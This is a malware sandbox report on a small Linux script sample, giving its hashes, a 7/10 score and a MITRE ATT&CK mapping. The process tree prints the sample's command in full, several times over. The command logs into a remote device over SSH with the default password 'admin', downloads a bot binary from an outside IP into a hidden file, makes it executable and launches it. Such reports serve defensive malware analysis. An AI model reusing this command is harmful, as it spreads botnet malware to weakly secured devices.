3f0879bf2383fd9e76e64834dba2bbc274c3cd8cd1d2ff0b1d3e87c9eab17d0d

General

Target
3f0879bf2383fd9e76e64834dba2bbc274c3cd8cd1d2ff0b1d3e87c9eab17d0d
Size 1KB
Sample260925-za8khswekd
SHA256 3f0879bf2383fd9e76e64834dba2bbc274c3cd8cd1d2ff0b1d3e87c9eab17d0d
MD5 eea5c46cf0723efc1c308c7faa590540
SHA1 f4bde73f06156e72e64e3d51f257296c12be664e
SHA512 e392707b37b91dcb456d3167654c6123b0fa12cd8946a9fb48f2aed91107b6e7bb09a6979ad06de32c9d5fa742f21e98ccc193b01013601e61e2c48ae8fab6ad
TLSH
T1FC210FE878338CBF39450DA8B968BBC1B46C1B1745A7021940DAAB2108780E339877AA
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
656	sshpass
656	sshpass
656	sshpass
656	sshpass
656	sshpass
651	timeout
656	sshpass

/tmp/3f0879bf2383fd9e76e64834dba2bbc274c3cd8cd1d2ff0b1d3e87c9eab17d0d
/tmp/3f0879bf2383fd9e76e64834dba2bbc274c3cd8cd1d2ff0b1d3e87c9eab17d0d
1⤵
PID:644
- /bin/grep
  grep -v Warning
  2⤵
  PID:652
- /usr/bin/head
  head -12
  2⤵
  PID:653
- /usr/bin/timeout
  timeout 120 sshpass -p admin ssh -o "StrictHostKeyChecking=no" -o "ConnectTimeout=10" -o "UserKnownHostsFile=/dev/null" -o "HostKeyAlgorithms=+ssh-rsa,ssh-dss" -o "PubkeyAcceptedAlgorithms=+ssh-rsa" "[email protected]" " cd /tmp 2>/dev/null || cd /var wget -q -O .dpmp http://96.62.71.5:8080/bots/bot.amd64 chmod +x .dpmp ./.dpmp -port 47446 -user u99 -pass p99 -report http://96.62.71.5:8080/report -via att-check >/dev/null 2>&1 & sleep 5 ps aux 2>/dev/null | grep -v grep | grep dpmp || ps | grep -v grep | grep dpmp ls -la .dpmp 2>/dev/null echo \"PORT_CHECK:\" "
  2⤵
  - File and Directory Permissions Modification
  PID:651
- - /usr/local/sbin/sshpass
    sshpass -p admin ssh -o "StrictHostKeyChecking=no" -o "ConnectTimeout=10" -o "UserKnownHostsFile=/dev/null" -o "HostKeyAlgorithms=+ssh-rsa,ssh-dss" -o "PubkeyAcceptedAlgorithms=+ssh-rsa" "[email protected]" " cd /tmp 2>/dev/null || cd /var wget -q -O .dpmp http://96.62.71.5:8080/bots/bot.amd64 chmod +x .dpmp ./.dpmp -port 47446 -user u99 -pass p99 -report http://96.62.71.5:8080/report -via att-check >/dev/null 2>&1 & sleep 5 ps aux 2>/dev/null | grep -v grep | grep dpmp || ps | grep -v grep | grep dpmp ls -la .dpmp 2>/dev/null echo \"PORT_CHECK:\" "
    3⤵
    - File and Directory Permissions Modification
    PID:656
- - /usr/local/bin/sshpass
    sshpass -p admin ssh -o "StrictHostKeyChecking=no" -o "ConnectTimeout=10" -o "UserKnownHostsFile=/dev/null" -o "HostKeyAlgorithms=+ssh-rsa,ssh-dss" -o "PubkeyAcceptedAlgorithms=+ssh-rsa" "[email protected]" " cd /tmp 2>/dev/null || cd /var wget -q -O .dpmp http://96.62.71.5:8080/bots/bot.amd64 chmod +x .dpmp ./.dpmp -port 47446 -user u99 -pass p99 -report http://96.62.71.5:8080/report -via att-check >/dev/null 2>&1 & sleep 5 ps aux 2>/dev/null | grep -v grep | grep dpmp || ps | grep -v grep | grep dpmp ls -la .dpmp 2>/dev/null echo \"PORT_CHECK:\" "
    3⤵
    - File and Directory Permissions Modification
    PID:656
- - /usr/sbin/sshpass
    sshpass -p admin ssh -o "StrictHostKeyChecking=no" -o "ConnectTimeout=10" -o "UserKnownHostsFile=/dev/null" -o "HostKeyAlgorithms=+ssh-rsa,ssh-dss" -o "PubkeyAcceptedAlgorithms=+ssh-rsa" "[email protected]" " cd /tmp 2>/dev/null || cd /var wget -q -O .dpmp http://96.62.71.5:8080/bots/bot.amd64 chmod +x .dpmp ./.dpmp -port 47446 -user u99 -pass p99 -report http://96.62.71.5:8080/report -via att-check >/dev/null 2>&1 & sleep 5 ps aux 2>/dev/null | grep -v grep | grep dpmp || ps | grep -v grep | grep dpmp ls -la .dpmp 2>/dev/null echo \"PORT_CHECK:\" "
    3⤵
    - File and Directory Permissions Modification
    PID:656
- - /usr/bin/sshpass
    sshpass -p admin ssh -o "StrictHostKeyChecking=no" -o "ConnectTimeout=10" -o "UserKnownHostsFile=/dev/null" -o "HostKeyAlgorithms=+ssh-rsa,ssh-dss" -o "PubkeyAcceptedAlgorithms=+ssh-rsa" "[email protected]" " cd /tmp 2>/dev/null || cd /var wget -q -O .dpmp http://96.62.71.5:8080/bots/bot.amd64 chmod +x .dpmp ./.dpmp -port 47446 -user u99 -pass p99 -report http://96.62.71.5:8080/report -via att-check >/dev/null 2>&1 & sleep 5 ps aux 2>/dev/null | grep -v grep | grep dpmp || ps | grep -v grep | grep dpmp ls -la .dpmp 2>/dev/null echo \"PORT_CHECK:\" "
    3⤵
    - File and Directory Permissions Modification
    PID:656
- - /sbin/sshpass
    sshpass -p admin ssh -o "StrictHostKeyChecking=no" -o "ConnectTimeout=10" -o "UserKnownHostsFile=/dev/null" -o "HostKeyAlgorithms=+ssh-rsa,ssh-dss" -o "PubkeyAcceptedAlgorithms=+ssh-rsa" "[email protected]" " cd /tmp 2>/dev/null || cd /var wget -q -O .dpmp http://96.62.71.5:8080/bots/bot.amd64 chmod +x .dpmp ./.dpmp -port 47446 -user u99 -pass p99 -report http://96.62.71.5:8080/report -via att-check >/dev/null 2>&1 & sleep 5 ps aux 2>/dev/null | grep -v grep | grep dpmp || ps | grep -v grep | grep dpmp ls -la .dpmp 2>/dev/null echo \"PORT_CHECK:\" "
    3⤵
    - File and Directory Permissions Modification
    PID:656
- - /bin/sshpass
    sshpass -p admin ssh -o "StrictHostKeyChecking=no" -o "ConnectTimeout=10" -o "UserKnownHostsFile=/dev/null" -o "HostKeyAlgorithms=+ssh-rsa,ssh-dss" -o "PubkeyAcceptedAlgorithms=+ssh-rsa" "[email protected]" " cd /tmp 2>/dev/null || cd /var wget -q -O .dpmp http://96.62.71.5:8080/bots/bot.amd64 chmod +x .dpmp ./.dpmp -port 47446 -user u99 -pass p99 -report http://96.62.71.5:8080/report -via att-check >/dev/null 2>&1 & sleep 5 ps aux 2>/dev/null | grep -v grep | grep dpmp || ps | grep -v grep | grep dpmp ls -la .dpmp 2>/dev/null echo \"PORT_CHECK:\" "
    3⤵
    - File and Directory Permissions Modification
    PID:656
- /usr/bin/python3
  python3 /root/greet2.py 107.133.119.27 47446 u99 p99
  2⤵
  PID:659

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads